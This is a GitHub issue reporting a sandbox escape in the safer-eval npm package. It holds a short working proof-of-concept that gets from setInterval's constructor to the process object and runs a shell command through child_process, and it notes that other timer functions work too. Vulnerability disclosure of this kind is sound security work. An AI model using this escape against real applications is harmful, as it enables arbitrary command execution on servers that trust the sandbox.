Skip to content

Sandbox Escape #11

Description

@a0xnirudh

The following can be used to break out of the sandbox:

var saferEval = require("safer-eval");
var code = "setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();";
console.log(saferEval(code));

Other than setInterval, one can also use clearInterval, clearTimeout and setTimeout

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions